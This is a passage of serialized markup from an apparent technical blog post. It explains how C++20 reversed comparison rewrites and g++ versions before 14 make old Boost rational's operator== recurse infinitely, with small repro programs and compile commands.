type":26,"value":66675},{"type":21,"tag":85,"props":91080,"children":91081},{"style":114},[91082],{"type":26,"value":3085},{"type":21,"tag":85,"props":91084,"children":91085},{"style":102},[91086],{"type":26,"value":70870},{"type":21,"tag":85,"props":91088,"children":91089},{"style":108},[91090],{"type":26,"value":91091}," Arg",{"type":21,"tag":85,"props":91093,"children":91094},{"style":114},[91095],{"type":26,"value":256},{"type":21,"tag":85,"props":91097,"children":91098},{"style":102},[91099],{"type":26,"value":70870},{"type":21,"tag":85,"props":91101,"children":91102},{"style":108},[91103],{"type":26,"value":90910},{"type":21,"tag":85,"props":91105,"children":91106},{"style":114},[91107],{"type":26,"value":313},{"type":21,"tag":85,"props":91109,"children":91110},{"class":87,"line":1402},[91111,91115,91119,91123,91127,91131,91135,91140,91144,91148,91152,91156,91160,91164,91168,91173],{"type":21,"tag":85,"props":91112,"children":91113},{"style":102},[91114],{"type":26,"value":30129},{"type":21,"tag":85,"props":91116,"children":91117},{"style":102},[91118],{"type":26,"value":90974},{"type":21,"tag":85,"props":91120,"children":91121},{"style":114},[91122],{"type":26,"value":90979},{"type":21,"tag":85,"props":91124,"children":91125},{"style":102},[91126],{"type":26,"value":10069},{"type":21,"tag":85,"props":91128,"children":91129},{"style":108},[91130],{"type":26,"value":90926},{"type":21,"tag":85,"props":91132,"children":91133},{"style":114},[91134],{"type":26,"value":117},{"type":21,"tag":85,"props":91136,"children":91137},{"style":108},[91138],{"type":26,"value":91139},"IntType",{"type":21,"tag":85,"props":91141,"children":91142},{"style":114},[91143],{"type":26,"value":10877},{"type":21,"tag":85,"props":91145,"children":91146},{"style":102},[91147],{"type":26,"value":2238},{"type":21,"tag":85,"props":91149,"children":91150},{"style":120},[91151],{"type":26,"value":90298},{"type":21,"tag":85,"props":91153,"children":91154},{"style":114},[91155],{"type":26,"value":256},{"type":21,"tag":85,"props":91157,"children":91158},{"style":102},[91159],{"type":26,"value":10069},{"type":21,"tag":85,"props":91161,"children":91162},{"style":108},[91163],{"type":26,"value":91091},{"type":21,"tag":85,"props":91165,"children":91166},{"style":102},[91167],{"type":26,"value":2238},{"type":21,"tag":85,"props":91169,"children":91170},{"style":120},[91171],{"type":26,"value":91172}," b",{"type":21,"tag":85,"props":91174,"children":91175},{"style":114},[91176],{"type":26,"value":15222},{"type":21,"tag":85,"props":91178,"children":91179},{"class":87,"line":3145},[91180,91185,91189,91194,91198],{"type":21,"tag":85,"props":91181,"children":91182},{"style":114},[91183],{"type":26,"value":91184},"    std::cout ",{"type":21,"tag":85,"props":91186,"children":91187},{"style":169},[91188],{"type":26,"value":91020},{"type":21,"tag":85,"props":91190,"children":91191},{"style":5026},[91192],{"type":26,"value":91193}," \"g++ \u003C14 resolved non-member\"",{"type":21,"tag":85,"props":91195,"children":91196},{"style":169},[91197],{"type":26,"value":91030},{"type":21,"tag":85,"props":91199,"children":91200},{"style":114},[91201],{"type":26,"value":91035},{"type":21,"tag":85,"props":91203,"children":91204},{"class":87,"line":3246},[91205,91209,91213],{"type":21,"tag":85,"props":91206,"children":91207},{"style":2885},[91208],{"type":26,"value":17411},{"type":21,"tag":85,"props":91210,"children":91211},{"style":102},[91212],{"type":26,"value":3438},{"type":21,"tag":85,"props":91214,"children":91215},{"style":114},[91216],{"type":26,"value":2535},{"type":21,"tag":85,"props":91218,"children":91219},{"class":87,"line":3255},[91220],{"type":21,"tag":85,"props":91221,"children":91222},{"style":114},[91223],{"type":26,"value":2671},{"type":21,"tag":85,"props":91225,"children":91226},{"class":87,"line":3286},[91227],{"type":21,"tag":85,"props":91228,"children":91229},{"emptyLinePlaceholder":16},[91230],{"type":26,"value":703},{"type":21,"tag":85,"props":91232,"children":91233},{"class":87,"line":3295},[91234,91238,91243],{"type":21,"tag":85,"props":91235,"children":91236},{"style":102},[91237],{"type":26,"value":19473},{"type":21,"tag":85,"props":91239,"children":91240},{"style":1021},[91241],{"type":26,"value":91242}," main",{"type":21,"tag":85,"props":91244,"children":91245},{"style":114},[91246],{"type":26,"value":16156},{"type":21,"tag":85,"props":91248,"children":91249},{"class":87,"line":3308},[91250,91255,91259,91263,91267],{"type":21,"tag":85,"props":91251,"children":91252},{"style":114},[91253],{"type":26,"value":91254},"    rational",{"type":21,"tag":85,"props":91256,"children":91257},{"style":169},[91258],{"type":26,"value":117},{"type":21,"tag":85,"props":91260,"children":91261},{"style":102},[91262],{"type":26,"value":19473},{"type":21,"tag":85,"props":91264,"children":91265},{"style":169},[91266],{"type":26,"value":10877},{"type":21,"tag":85,"props":91268,"children":91269},{"style":114},[91270],{"type":26,"value":91271}," r;\n",{"type":21,"tag":85,"props":91273,"children":91274},{"class":87,"line":3333},[91275,91279,91284,91288,91292],{"type":21,"tag":85,"props":91276,"children":91277},{"style":2885},[91278],{"type":26,"value":17411},{"type":21,"tag":85,"props":91280,"children":91281},{"style":114},[91282],{"type":26,"value":91283}," r ",{"type":21,"tag":85,"props":91285,"children":91286},{"style":169},[91287],{"type":26,"value":2936},{"type":21,"tag":85,"props":91289,"children":91290},{"style":2285},[91291],{"type":26,"value":2830},{"type":21,"tag":85,"props":91293,"children":91294},{"style":114},[91295],{"type":26,"value":2535},{"type":21,"tag":85,"props":91297,"children":91298},{"class":87,"line":3369},[91299],{"type":21,"tag":85,"props":91300,"children":91301},{"style":114},[91302],{"type":26,"value":2671},{"type":21,"tag":17108,"props":91304,"children":91305},{},[91306],{"type":21,"tag":845,"props":91307,"children":91308},{},[91309],{"type":26,"value":91310},"Compile with g++\u003C14:",{"type":21,"tag":75,"props":91312,"children":91314},{"code":91313,"language":5011,"meta":7,"className":5012,"style":7},"g++ -std=c++17 main.cpp -o test && ./test\n",[91315],{"type":21,"tag":66,"props":91316,"children":91317},{"__ignoreMap":7},[91318],{"type":21,"tag":85,"props":91319,"children":91320},{"class":87,"line":88},[91321,91326,91331,91336,91341,91345,91350],{"type":21,"tag":85,"props":91322,"children":91323},{"style":1021},[91324],{"type":26,"value":91325},"g++",{"type":21,"tag":85,"props":91327,"children":91328},{"style":5026},[91329],{"type":26,"value":91330}," -std=c++17",{"type":21,"tag":85,"props":91332,"children":91333},{"style":5026},[91334],{"type":26,"value":91335}," main.cpp",{"type":21,"tag":85,"props":91337,"children":91338},{"style":5026},[91339],{"type":26,"value":91340}," -o",{"type":21,"tag":85,"props":91342,"children":91343},{"style":5026},[91344],{"type":26,"value":31122},{"type":21,"tag":85,"props":91346,"children":91347},{"style":114},[91348],{"type":26,"value":91349}," && ",{"type":21,"tag":85,"props":91351,"children":91352},{"style":1021},[91353],{"type":26,"value":91354},"./test\n",{"type":21,"tag":22,"props":91356,"children":91357},{},[91358],{"type":26,"value":91359},"Output (on g++ 11.4):",{"type":21,"tag":75,"props":91361,"children":91363},{"code":91362},"g++ \u003C14 resolved non-member\n",[91364],{"type":21,"tag":66,"props":91365,"children":91366},{"__ignoreMap":7},[91367],{"type":26,"value":91362},{"type":21,"tag":17108,"props":91369,"children":91370},{},[91371],{"type":21,"tag":845,"props":91372,"children":91373},{},[91374],{"type":26,"value":91375},"Compile with clang++:",{"type":21,"tag":75,"props":91377,"children":91379},{"code":91378,"language":5011,"meta":7,"className":5012,"style":7},"clang++ -std=c++17 main.cpp -o test && ./test\n",[91380],{"type":21,"tag":66,"props":91381,"children":91382},{"__ignoreMap":7},[91383],{"type":21,"tag":85,"props":91384,"children":91385},{"class":87,"line":88},[91386,91391,91395,91399,91403,91407,91411],{"type":21,"tag":85,"props":91387,"children":91388},{"style":1021},[91389],{"type":26,"value":91390},"clang++",{"type":21,"tag":85,"props":91392,"children":91393},{"style":5026},[91394],{"type":26,"value":91330},{"type":21,"tag":85,"props":91396,"children":91397},{"style":5026},[91398],{"type":26,"value":91335},{"type":21,"tag":85,"props":91400,"children":91401},{"style":5026},[91402],{"type":26,"value":91340},{"type":21,"tag":85,"props":91404,"children":91405},{"style":5026},[91406],{"type":26,"value":31122},{"type":21,"tag":85,"props":91408,"children":91409},{"style":114},[91410],{"type":26,"value":91349},{"type":21,"tag":85,"props":91412,"children":91413},{"style":1021},[91414],{"type":26,"value":91354},{"type":21,"tag":22,"props":91416,"children":91417},{},[91418],{"type":26,"value":91419},"Output:",{"type":21,"tag":75,"props":91421,"children":91423},{"code":91422},"clang++ resolved member\n",[91424],{"type":21,"tag":66,"props":91425,"children":91426},{"__ignoreMap":7},[91427],{"type":26,"value":91422},{"type":21,"tag":22,"props":91429,"children":91430},{},[91431],{"type":26,"value":91432},"In short, the wrong function gets picked. G++ was broken here until v14.",{"type":21,"tag":19218,"props":91434,"children":91435},{},[],{"type":21,"tag":54,"props":91437,"children":91439},{"id":91438},"part-ii-c20s-symmetric-comparison-feature",[91440],{"type":26,"value":91441},"Part II: C++20’s Symmetric Comparison Feature",{"type":21,"tag":10022,"props":91443,"children":91445},{"id":91444},"what-changed-in-c20",[91446],{"type":26,"value":91447},"What Changed in C++20?",{"type":21,"tag":22,"props":91449,"children":91450},{},[91451,91453,91466,91467,91472],{"type":26,"value":91452},"C++20 introduced the ",{"type":21,"tag":335,"props":91454,"children":91457},{"href":91455,"rel":91456},"https://en.cppreference.com/w/cpp/language/operator_comparison",[339],[91458,91460],{"type":26,"value":91459},"spaceship operator ",{"type":21,"tag":66,"props":91461,"children":91463},{"className":91462},[],[91464],{"type":26,"value":91465},"\u003C=>",{"type":26,"value":11408},{"type":21,"tag":873,"props":91468,"children":91469},{},[91470],{"type":26,"value":91471},"defaulted comparison rewrites",{"type":26,"value":73},{"type":21,"tag":22,"props":91474,"children":91475},{},[91476,91478,91483],{"type":26,"value":91477},"When you define a two-argument ",{"type":21,"tag":66,"props":91479,"children":91481},{"className":91480},[],[91482],{"type":26,"value":90717},{"type":26,"value":91484},", C++20 may implicitly define the \"reversed\" version:",{"type":21,"tag":17108,"props":91486,"children":91487},{},[91488,91499],{"type":21,"tag":845,"props":91489,"children":91490},{},[91491,91493],{"type":26,"value":91492},"If you define: ",{"type":21,"tag":66,"props":91494,"children":91496},{"className":91495},[],[91497],{"type":26,"value":91498},"bool operator==(T1, T2);",{"type":21,"tag":845,"props":91500,"children":91501},{},[91502,91504,91510],{"type":26,"value":91503},"Then ",{"type":21,"tag":66,"props":91505,"children":91507},{"className":91506},[],[91508],{"type":26,"value":91509},"T2 == T1",{"type":26,"value":91511}," may call the same function by reversing the arguments.",{"type":21,"tag":22,"props":91513,"children":91514},{},[91515,91517,91522,91523,91528,91530,91536,91538,91543],{"type":26,"value":91516},"This rewrite is ",{"type":21,"tag":873,"props":91518,"children":91519},{},[91520],{"type":26,"value":91521},"recursive",{"type":26,"value":15750},{"type":21,"tag":66,"props":91524,"children":91526},{"className":91525},[],[91527],{"type":26,"value":90709},{"type":26,"value":91529}," becomes ",{"type":21,"tag":66,"props":91531,"children":91533},{"className":91532},[],[91534],{"type":26,"value":91535},"b == a",{"type":26,"value":91537},", which becomes ",{"type":21,"tag":66,"props":91539,"children":91541},{"className":91540},[],[91542],{"type":26,"value":90709},{"type":26,"value":91544}," again, and so on — if not handled carefully.",{"type":21,"tag":22,"props":91546,"children":91547},{},[91548],{"type":26,"value":91549},"This is great for reducing boilerplate — unless the call becomes ambiguous or self-referential.",{"type":21,"tag":19218,"props":91551,"children":91552},{},[],{"type":21,"tag":54,"props":91554,"children":91556},{"id":91555},"part-iii-the-boost-trapdoor",[91557],{"type":26,"value":91558},"Part III: The Boost Trapdoor",{"type":21,"tag":22,"props":91560,"children":91561},{},[91562,91564,91570,91572,91577],{"type":26,"value":91563},"The old Boost ",{"type":21,"tag":66,"props":91565,"children":91567},{"className":91566},[],[91568],{"type":26,"value":91569},"rational",{"type":26,"value":91571}," class (prior to v1.75) defined both member function and non-member function of ",{"type":21,"tag":66,"props":91573,"children":91575},{"className":91574},[],[91576],{"type":26,"value":90717},{"type":26,"value":172},{"type":21,"tag":75,"props":91579,"children":91581},{"code":91580,"language":29555,"meta":7,"className":29553,"style":7},"template \u003Cclass Arg, class IntType>\ntemplate \u003Ctypename IntType>\nclass rational\n{\n    ...\npublic:\n    ...\n    \n    template \u003Cclass T>\n    BOOST_CONSTEXPR typename boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003CT, IntType>::value, bool>::type operator== (const T& i) const\n    {\n       return ((den == IntType(1)) && (num == i));\n    }\n    ...\n}\n\ntemplate \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n      return a == b; \n}\n",[91582],{"type":21,"tag":66,"props":91583,"children":91584},{"__ignoreMap":7},[91585,91620,91643,91655,91662,91669,91676,91683,91690,91713,91801,91808,91859,91866,91873,91880,91887,91922,91930,91958,91997,92062,92069,92089],{"type":21,"tag":85,"props":91586,"children":91587},{"class":87,"line":88},[91588,91592,91596,91600,91604,91608,91612,91616],{"type":21,"tag":85,"props":91589,"children":91590},{"style":102},[91591],{"type":26,"value":66675},{"type":21,"tag":85,"props":91593,"children":91594},{"style":114},[91595],{"type":26,"value":3085},{"type":21,"tag":85,"props":91597,"children":91598},{"style":102},[91599],{"type":26,"value":70870},{"type":21,"tag":85,"props":91601,"children":91602},{"style":108},[91603],{"type":26,"value":91091},{"type":21,"tag":85,"props":91605,"children":91606},{"style":114},[91607],{"type":26,"value":256},{"type":21,"tag":85,"props":91609,"children":91610},{"style":102},[91611],{"type":26,"value":70870},{"type":21,"tag":85,"props":91613,"children":91614},{"style":108},[91615],{"type":26,"value":90910},{"type":21,"tag":85,"props":91617,"children":91618},{"style":114},[91619],{"type":26,"value":313},{"type":21,"tag":85,"props":91621,"children":91622},{"class":87,"line":98},[91623,91627,91631,91635,91639],{"type":21,"tag":85,"props":91624,"children":91625},{"style":102},[91626],{"type":26,"value":66675},{"type":21,"tag":85,"props":91628,"children":91629},{"style":114},[91630],{"type":26,"value":3085},{"type":21,"tag":85,"props":91632,"children":91633},{"style":102},[91634],{"type":26,"value":90905},{"type":21,"tag":85,"props":91636,"children":91637},{"style":108},[91638],{"type":26,"value":90910},{"type":21,"tag":85,"props":91640,"children":91641},{"style":114},[91642],{"type":26,"value":313},{"type":21,"tag":85,"props":91644,"children":91645},{"class":87,"line":151},[91646,91650],{"type":21,"tag":85,"props":91647,"children":91648},{"style":102},[91649],{"type":26,"value":70870},{"type":21,"tag":85,"props":91651,"children":91652},{"style":108},[91653],{"type":26,"value":91654}," rational\n",{"type":21,"tag":85,"props":91656,"children":91657},{"class":87,"line":160},[91658],{"type":21,"tag":85,"props":91659,"children":91660},{"style":114},[91661],{"type":26,"value":11296},{"type":21,"tag":85,"props":91663,"children":91664},{"class":87,"line":185},[91665],{"type":21,"tag":85,"props":91666,"children":91667},{"style":114},[91668],{"type":26,"value":20767},{"type":21,"tag":85,"props":91670,"children":91671},{"class":87,"line":501},[91672],{"type":21,"tag":85,"props":91673,"children":91674},{"style":102},[91675],{"type":26,"value":90938},{"type":21,"tag":85,"props":91677,"children":91678},{"class":87,"line":697},[91679],{"type":21,"tag":85,"props":91680,"children":91681},{"style":114},[91682],{"type":26,"value":20767},{"type":21,"tag":85,"props":91684,"children":91685},{"class":87,"line":706},[91686],{"type":21,"tag":85,"props":91687,"children":91688},{"style":114},[91689],{"type":26,"value":62244},{"type":21,"tag":85,"props":91691,"children":91692},{"class":87,"line":1100},[91693,91697,91701,91705,91709],{"type":21,"tag":85,"props":91694,"children":91695},{"style":102},[91696],{"type":26,"value":90946},{"type":21,"tag":85,"props":91698,"children":91699},{"style":114},[91700],{"type":26,"value":3085},{"type":21,"tag":85,"props":91702,"children":91703},{"style":102},[91704],{"type":26,"value":70870},{"type":21,"tag":85,"props":91706,"children":91707},{"style":108},[91708],{"type":26,"value":238},{"type":21,"tag":85,"props":91710,"children":91711},{"style":114},[91712],{"type":26,"value":313},{"type":21,"tag":85,"props":91714,"children":91715},{"class":87,"line":1339},[91716,91721,91725,91730,91734,91738,91742,91747,91751,91755,91759,91763,91767,91771,91776,91780,91784,91788,91792,91796],{"type":21,"tag":85,"props":91717,"children":91718},{"style":114},[91719],{"type":26,"value":91720},"    BOOST_CONSTEXPR ",{"type":21,"tag":85,"props":91722,"children":91723},{"style":102},[91724],{"type":26,"value":90905},{"type":21,"tag":85,"props":91726,"children":91727},{"style":114},[91728],{"type":26,"value":91729}," boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003C",{"type":21,"tag":85,"props":91731,"children":91732},{"style":108},[91733],{"type":26,"value":308},{"type":21,"tag":85,"props":91735,"children":91736},{"style":114},[91737],{"type":26,"value":256},{"type":21,"tag":85,"props":91739,"children":91740},{"style":108},[91741],{"type":26,"value":91139},{"type":21,"tag":85,"props":91743,"children":91744},{"style":114},[91745],{"type":26,"value":91746},">::",{"type":21,"tag":85,"props":91748,"children":91749},{"style":108},[91750],{"type":26,"value":39600},{"type":21,"tag":85,"props":91752,"children":91753},{"style":114},[91754],{"type":26,"value":256},{"type":21,"tag":85,"props":91756,"children":91757},{"style":102},[91758],{"type":26,"value":30129},{"type":21,"tag":85,"props":91760,"children":91761},{"style":114},[91762],{"type":26,"value":91746},{"type":21,"tag":85,"props":91764,"children":91765},{"style":108},[91766],{"type":26,"value":33202},{"type":21,"tag":85,"props":91768,"children":91769},{"style":102},[91770],{"type":26,"value":90974},{"type":21,"tag":85,"props":91772,"children":91773},{"style":114},[91774],{"type":26,"value":91775},"== (",{"type":21,"tag":85,"props":91777,"children":91778},{"style":102},[91779],{"type":26,"value":10069},{"type":21,"tag":85,"props":91781,"children":91782},{"style":108},[91783],{"type":26,"value":238},{"type":21,"tag":85,"props":91785,"children":91786},{"style":102},[91787],{"type":26,"value":2238},{"type":21,"tag":85,"props":91789,"children":91790},{"style":120},[91791],{"type":26,"value":2821},{"type":21,"tag":85,"props":91793,"children":91794},{"style":114},[91795],{"type":26,"value":736},{"type":21,"tag":85,"props":91797,"children":91798},{"style":102},[91799],{"type":26,"value":91800},"const\n",{"type":21,"tag":85,"props":91802,"children":91803},{"class":87,"line":1348},[91804],{"type":21,"tag":85,"props":91805,"children":91806},{"style":114},[91807],{"type":26,"value":29630},{"type":21,"tag":85,"props":91809,"children":91810},{"class":87,"line":1386},[91811,91816,91821,91825,91829,91833,91837,91841,91845,91850,91854],{"type":21,"tag":85,"props":91812,"children":91813},{"style":2885},[91814],{"type":26,"value":91815},"       return",{"type":21,"tag":85,"props":91817,"children":91818},{"style":114},[91819],{"type":26,"value":91820}," ((den ",{"type":21,"tag":85,"props":91822,"children":91823},{"style":169},[91824],{"type":26,"value":2936},{"type":21,"tag":85,"props":91826,"children":91827},{"style":1021},[91828],{"type":26,"value":90910},{"type":21,"tag":85,"props":91830,"children":91831},{"style":114},[91832],{"type":26,"value":1439},{"type":21,"tag":85,"props":91834,"children":91835},{"style":2285},[91836],{"type":26,"value":4779},{"type":21,"tag":85,"props":91838,"children":91839},{"style":114},[91840],{"type":26,"value":3204},{"type":21,"tag":85,"props":91842,"children":91843},{"style":169},[91844],{"type":26,"value":73657},{"type":21,"tag":85,"props":91846,"children":91847},{"style":114},[91848],{"type":26,"value":91849}," (num ",{"type":21,"tag":85,"props":91851,"children":91852},{"style":169},[91853],{"type":26,"value":2936},{"type":21,"tag":85,"props":91855,"children":91856},{"style":114},[91857],{"type":26,"value":91858}," i));\n",{"type":21,"tag":85,"props":91860,"children":91861},{"class":87,"line":1394},[91862],{"type":21,"tag":85,"props":91863,"children":91864},{"style":114},[91865],{"type":26,"value":507},{"type":21,"tag":85,"props":91867,"children":91868},{"class":87,"line":1402},[91869],{"type":21,"tag":85,"props":91870,"children":91871},{"style":114},[91872],{"type":26,"value":20767},{"type":21,"tag":85,"props":91874,"children":91875},{"class":87,"line":3145},[91876],{"type":21,"tag":85,"props":91877,"children":91878},{"style":114},[91879],{"type":26,"value":2671},{"type":21,"tag":85,"props":91881,"children":91882},{"class":87,"line":3246},[91883],{"type":21,"tag":85,"props":91884,"children":91885},{"emptyLinePlaceholder":16},[91886],{"type":26,"value":703},{"type":21,"tag":85,"props":91888,"children":91889},{"class":87,"line":3255},[91890,91894,91898,91902,91906,91910,91914,91918],{"type":21,"tag":85,"props":91891,"children":91892},{"style":102},[91893],{"type":26,"value":66675},{"type":21,"tag":85,"props":91895,"children":91896},{"style":114},[91897],{"type":26,"value":3085},{"type":21,"tag":85,"props":91899,"children":91900},{"style":102},[91901],{"type":26,"value":70870},{"type":21,"tag":85,"props":91903,"children":91904},{"style":108},[91905],{"type":26,"value":91091},{"type":21,"tag":85,"props":91907,"children":91908},{"style":114},[91909],{"type":26,"value":256},{"type":21,"tag":85,"props":91911,"children":91912},{"style":102},[91913],{"type":26,"value":70870},{"type":21,"tag":85,"props":91915,"children":91916},{"style":108},[91917],{"type":26,"value":90910},{"type":21,"tag":85,"props":91919,"children":91920},{"style":114},[91921],{"type":26,"value":313},{"type":21,"tag":85,"props":91923,"children":91924},{"class":87,"line":3286},[91925],{"type":21,"tag":85,"props":91926,"children":91927},{"style":114},[91928],{"type":26,"value":91929},"BOOST_CONSTEXPR\n",{"type":21,"tag":85,"props":91931,"children":91932},{"class":87,"line":3295},[91933,91938,91943,91948,91953],{"type":21,"tag":85,"props":91934,"children":91935},{"style":102},[91936],{"type":26,"value":91937},"inline",{"type":21,"tag":85,"props":91939,"children":91940},{"style":102},[91941],{"type":26,"value":91942}," typename",{"type":21,"tag":85,"props":91944,"children":91945},{"style":114},[91946],{"type":26,"value":91947}," boost::",{"type":21,"tag":85,"props":91949,"children":91950},{"style":108},[91951],{"type":26,"value":91952},"enable_if_c",{"type":21,"tag":85,"props":91954,"children":91955},{"style":169},[91956],{"type":26,"value":91957}," \u003C\n",{"type":21,"tag":85,"props":91959,"children":91960},{"class":87,"line":3308},[91961,91966,91971,91975,91979,91984,91988,91992],{"type":21,"tag":85,"props":91962,"children":91963},{"style":114},[91964],{"type":26,"value":91965},"   rational_detail::is_compatible_integer\u003C",{"type":21,"tag":85,"props":91967,"children":91968},{"style":108},[91969],{"type":26,"value":91970},"Arg",{"type":21,"tag":85,"props":91972,"children":91973},{"style":114},[91974],{"type":26,"value":256},{"type":21,"tag":85,"props":91976,"children":91977},{"style":108},[91978],{"type":26,"value":91139},{"type":21,"tag":85,"props":91980,"children":91981},{"style":114},[91982],{"type":26,"value":91983},">::value, ",{"type":21,"tag":85,"props":91985,"children":91986},{"style":102},[91987],{"type":26,"value":30129},{"type":21,"tag":85,"props":91989,"children":91990},{"style":169},[91991],{"type":26,"value":10877},{"type":21,"tag":85,"props":91993,"children":91994},{"style":114},[91995],{"type":26,"value":91996},"::type\n",{"type":21,"tag":85,"props":91998,"children":91999},{"class":87,"line":3333},[92000,92005,92010,92014,92018,92022,92026,92030,92034,92038,92042,92046,92050,92054,92058],{"type":21,"tag":85,"props":92001,"children":92002},{"style":102},[92003],{"type":26,"value":92004},"   operator",{"type":21,"tag":85,"props":92006,"children":92007},{"style":114},[92008],{"type":26,"value":92009}," == (",{"type":21,"tag":85,"props":92011,"children":92012},{"style":102},[92013],{"type":26,"value":10069},{"type":21,"tag":85,"props":92015,"children":92016},{"style":108},[92017],{"type":26,"value":91091},{"type":21,"tag":85,"props":92019,"children":92020},{"style":102},[92021],{"type":26,"value":2238},{"type":21,"tag":85,"props":92023,"children":92024},{"style":120},[92025],{"type":26,"value":91172},{"type":21,"tag":85,"props":92027,"children":92028},{"style":114},[92029],{"type":26,"value":256},{"type":21,"tag":85,"props":92031,"children":92032},{"style":102},[92033],{"type":26,"value":10069},{"type":21,"tag":85,"props":92035,"children":92036},{"style":108},[92037],{"type":26,"value":90926},{"type":21,"tag":85,"props":92039,"children":92040},{"style":114},[92041],{"type":26,"value":117},{"type":21,"tag":85,"props":92043,"children":92044},{"style":108},[92045],{"type":26,"value":91139},{"type":21,"tag":85,"props":92047,"children":92048},{"style":114},[92049],{"type":26,"value":10877},{"type":21,"tag":85,"props":92051,"children":92052},{"style":102},[92053],{"type":26,"value":2238},{"type":21,"tag":85,"props":92055,"children":92056},{"style":120},[92057],{"type":26,"value":90298},{"type":21,"tag":85,"props":92059,"children":92060},{"style":114},[92061],{"type":26,"value":2485},{"type":21,"tag":85,"props":92063,"children":92064},{"class":87,"line":3369},[92065],{"type":21,"tag":85,"props":92066,"children":92067},{"style":114},[92068],{"type":26,"value":11296},{"type":21,"tag":85,"props":92070,"children":92071},{"class":87,"line":3377},[92072,92076,92080,92084],{"type":21,"tag":85,"props":92073,"children":92074},{"style":2885},[92075],{"type":26,"value":39805},{"type":21,"tag":85,"props":92077,"children":92078},{"style":114},[92079],{"type":26,"value":17186},{"type":21,"tag":85,"props":92081,"children":92082},{"style":169},[92083],{"type":26,"value":2936},{"type":21,"tag":85,"props":92085,"children":92086},{"style":114},[92087],{"type":26,"value":92088}," b; \n",{"type":21,"tag":85,"props":92090,"children":92091},{"class":87,"line":3386},[92092],{"type":21,"tag":85,"props":92093,"children":92094},{"style":114},[92095],{"type":26,"value":2671},{"type":21,"tag":22,"props":92097,"children":92098},{},[92099,92101,92107],{"type":26,"value":92100},"This was designed under C++17 semantics. Back then, ",{"type":21,"tag":66,"props":92102,"children":92104},{"className":92103},[],[92105],{"type":26,"value":92106},"rhs == lhs",{"type":26,"value":92108}," would fall back to member overloads if available. All good.",{"type":21,"tag":22,"props":92110,"children":92111},{},[92112,92114,92119,92120,92126],{"type":26,"value":92113},"But under ",{"type":21,"tag":66,"props":92115,"children":92117},{"className":92116},[],[92118],{"type":26,"value":90663},{"type":26,"value":21932},{"type":21,"tag":66,"props":92121,"children":92123},{"className":92122},[],[92124],{"type":26,"value":92125},"G++ \u003C 14",{"type":26,"value":172},{"type":21,"tag":17108,"props":92128,"children":92129},{},[92130,92135,92140,92145],{"type":21,"tag":845,"props":92131,"children":92132},{},[92133],{"type":26,"value":92134},"G++ incorrectly chooses this non-member operator first",{"type":21,"tag":845,"props":92136,"children":92137},{},[92138],{"type":26,"value":92139},"C++20 reverses the comparison",{"type":21,"tag":845,"props":92141,"children":92142},{},[92143],{"type":26,"value":92144},"Which calls the same function again with arguments flipped",{"type":21,"tag":845,"props":92146,"children":92147},{},[92148],{"type":26,"value":92149},"And so on...",{"type":21,"tag":22,"props":92151,"children":92152},{},[92153,92155,92160],{"type":26,"value":92154},"This creates ",{"type":21,"tag":873,"props":92156,"children":92157},{},[92158],{"type":26,"value":92159},"infinite recursion",{"type":26,"value":73},{"type":21,"tag":22,"props":92162,"children":92163},{},[92164],{"type":26,"value":92165},"A minimal example:",{"type":21,"tag":75,"props":92167,"children":92169},{"code":92168,"language":29555,"meta":7,"className":29553,"style":7},"// g++ -std=c++20 -o crash main.cpp && ./crash\n#include \u003Cboost/rational.hpp>\n\nint main() {\n    boost::rational\u003Cint> r;\n    return r == 0;\n}\n",[92170],{"type":21,"tag":66,"props":92171,"children":92172},{"__ignoreMap":7},[92173,92181,92193,92200,92215,92239,92262],{"type":21,"tag":85,"props":92174,"children":92175},{"class":87,"line":88},[92176],{"type":21,"tag":85,"props":92177,"children":92178},{"style":92},[92179],{"type":26,"value":92180},"// g++ -std=c++20 -o crash main.cpp && ./crash\n",{"type":21,"tag":85,"props":92182,"children":92183},{"class":87,"line":98},[92184,92188],{"type":21,"tag":85,"props":92185,"children":92186},{"style":2885},[92187],{"type":26,"value":90877},{"type":21,"tag":85,"props":92189,"children":92190},{"style":5026},[92191],{"type":26,"value":92192}," \u003Cboost/rational.hpp>\n",{"type":21,"tag":85,"props":92194,"children":92195},{"class":87,"line":151},[92196],{"type":21,"tag":85,"props":92197,"children":92198},{"emptyLinePlaceholder":16},[92199],{"type":26,"value":703},{"type":21,"tag":85,"props":92201,"children":92202},{"class":87,"line":160},[92203,92207,92211],{"type":21,"tag":85,"props":92204,"children":92205},{"style":102},[92206],{"type":26,"value":19473},{"type":21,"tag":85,"props":92208,"children":92209},{"style":1021},[92210],{"type":26,"value":91242},{"type":21,"tag":85,"props":92212,"children":92213},{"style":114},[92214],{"type":26,"value":16156},{"type":21,"tag":85,"props":92216,"children":92217},{"class":87,"line":185},[92218,92223,92227,92231,92235],{"type":21,"tag":85,"props":92219,"children":92220},{"style":114},[92221],{"type":26,"value":92222},"    boost::rational",{"type":21,"tag":85,"props":92224,"children":92225},{"style":169},[92226],{"type":26,"value":117},{"type":21,"tag":85,"props":92228,"children":92229},{"style":102},[92230],{"type":26,"value":19473},{"type":21,"tag":85,"props":92232,"children":92233},{"style":169},[92234],{"type":26,"value":10877},{"type":21,"tag":85,"props":92236,"children":92237},{"style":114},[92238],{"type":26,"value":91271},{"type":21,"tag":85,"props":92240,"children":92241},{"class":87,"line":501},[92242,92246,92250,92254,92258],{"type":21,"tag":85,"props":92243,"children":92244},{"style":2885},[92245],{"type":26,"value":17411},{"type":21,"tag":85,"props":92247,"children":92248},{"style":114},[92249],{"type":26,"value":91283},{"type":21,"tag":85,"props":92251,"children":92252},{"style":169},[92253],{"type":26,"value":2936},{"type":21,"tag":85,"props":92255,"children":92256},{"style":2285},[92257],{"type":26,"value":2830},{"type":21,"tag":85,"props":92259,"children":92260},{"style":114},[92261],{"type":26,"value":2535},{"type":21,"tag":85,"props":92263,"children":92264},{"class":87,"line":697},[92265],{"type":21,"tag":85,"props":92266,"children":92267},{"style":114},[92268],{"type":26,"value":2671},{"type":21,"tag":22,"props":92270,"children":92271},{},[92272],{"type":26,"value":92273},"Expected output: nothing.",{"type":21,"tag":22,"props":92275,"children":92276},{},[92277],{"type":26,"value":92278},"Actual: segmentation fault (stack overflow).",{"type":21,"tag":22,"props":92280,"children":92281},{},[92282,92284,92291],{"type":26,"value":92283},"This exact pattern was 